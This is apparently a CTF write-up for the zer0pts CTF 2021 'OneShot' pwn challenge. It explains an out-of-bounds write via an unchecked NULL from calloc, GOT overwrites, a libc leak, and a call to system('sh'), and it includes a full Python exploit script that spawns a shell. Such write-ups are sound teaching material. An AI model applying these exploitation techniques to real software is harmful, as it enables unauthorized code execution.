# OneShot - zer0pts CTF 2021
###### tags: `zer0pts CTF 2021` `pwn`
## Challenge Overview
The target program is very simple.
```c=
int main() {
int *arr = NULL, n = 0, i = 0;
printf("n = ");
scanf("%d", &n);
if (n >= 0x100)
exit(1);
arr = calloc(n, sizeof(int));
printf("i = ");
scanf("%d", &i);
printf("arr[%d] = ", i);
scanf("%d", &arr[i]);
puts("Done!");
return 0;
}
```
The vulnerability is obviously out-of-bound write at line 14.
## Solution
### GOT Overwrite
Basically, there's no use of overwriting data around the heap chunk allocated by `calloc`. So, we abuse the fact that the return value of `calloc` is not checked.
If we pass a negative value to `calloc`, it fails and returns NULL. However, this is not checked and eventually we can write to `NULL + i*4`. This is a very strong primitive because PIE and RELRO are disabled. Now we can overwrite GOT!
### Gaining Infinite Loop
4-byte-write is not enough. To get infinite AAW, we set `puts@got` to the address of the main function. `puts` is used only at the end of the main function and thus we get AAW in an infinite loop.
### Leak Libc
How to get the address of libc?
My solution is overwrite `calloc@got` to `printf@plt`, then set `n` to the address where we want to leak. `calloc(n)` works as `printf(n)` and we get AAR.
There are two problems however.
The first problem is that the program exits when `n` is larger than 0x100.
In the graph view, it looks like this:

In the assembly, it looks like this:

So, if we overwrite the GOT of `exit` and make it something meaningless, we can move to the path for `n <= 0xff`. This way we can bypass the check of `n`.
The second problem is that we can write 4-byte every time. When we try to overwrite the address of `calloc`, the upper or lower 4 bytes are corrupted and crashes on the next `calloc` call.
Be aware that we don't actually call `calloc`. So, we can skip it by setting `exit@got` to the address after the `calloc` call. I used `call rax` gadget in order to skip `calloc`, because it can align RSP to avoid crash on movaps.
After leaking the libc address, just overwrite `calloc` with the address of `system` and execute `/bin/sh`.
## Exploit
```python=
from ptrlib import *
elf = ELF("../distfiles/chall")
#libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
#sock = Process("../distfiles/chall")
libc = ELF("../distfiles/libc.so.6")
sock = Socket("localhost", 9004)
addr_sh = elf.section('.bss') + 0x100
addr_main = elf.symbol('main')
addr_skip = 0x4007a8
rop_ret = 0x004005ce
rop_call_rax = 0x004005c8
"""
Step 1) Get stable write primitive
"""
# make infinite loop
sock.sendlineafter("n = ", "-1")
sock.sendlineafter("i = ", str(elf.got('puts') // 4))
sock.sendlineafter("= ", str(addr_main))
"""
Step 2) Leak libc address and prepare "sh"
"""
# skip exit and calloc
sock.sendlineafter("n = ", "-1")
sock.sendlineafter("i = ", str(elf.got('exit') // 4))
sock.sendlineafter("= ", str(rop_call_rax)) # align rsp
# overwrite calloc
sock.sendlineafter("n = ", str(addr_skip))
sock.sendlineafter("i = ", str(elf.got('calloc') // 4))
sock.sendlineafter("= ", str(elf.plt('printf')))
sock.sendlineafter("n = ", str(addr_skip))
sock.sendlineafter("i = ", str((elf.got('calloc') + 4) // 4))
sock.sendlineafter("= ", str(0))
# skip exit and call calloc
sock.sendlineafter("n = ", str(addr_skip))
sock.sendlineafter("i = ", str(elf.got('exit') // 4))
sock.sendlineafter("= ", str(rop_ret)) # skip exit
# leak libc address
sock.sendlineafter("n = ", str(elf.got('printf')))
libc_base = u64(sock.recv(6)) - libc.symbol("printf")
logger.info("libc = " + hex(libc_base))
sock.sendlineafter("i = ", str(addr_sh // 4))
sock.sendlineafter("= ", str(u32('sh\0\0')))
"""
Step 3) Call system("sh")
"""
# skip exit and calloc
sock.sendlineafter("n = ", str(elf.section('.bss') + 0x400)) # valid pointer
sock.sendlineafter("i = ", str(elf.got('exit') // 4))
sock.sendlineafter("= ", str(rop_call_rax)) # align rsp
# overwrite calloc
addr_system = libc_base + libc.symbol("system")
sock.sendlineafter("n = ", str(addr_skip))
sock.sendlineafter("i = ", str(elf.got('calloc') // 4))
sock.sendlineafter("= ", str(addr_system & 0xffffffff))
sock.sendlineafter("n = ", str(addr_skip))
sock.sendlineafter("i = ", str((elf.got('calloc') + 4) // 4))
sock.sendlineafter("= ", str(addr_system >> 32))
# skip exit and call calloc
sock.sendlineafter("n = ", str(addr_skip))
sock.sendlineafter("i = ", str(elf.got('exit') // 4))
sock.sendlineafter("= ", str(rop_ret)) # skip exit
# win!
sock.sendlineafter("n = ", str(addr_sh + 6))
sock.interactive()
```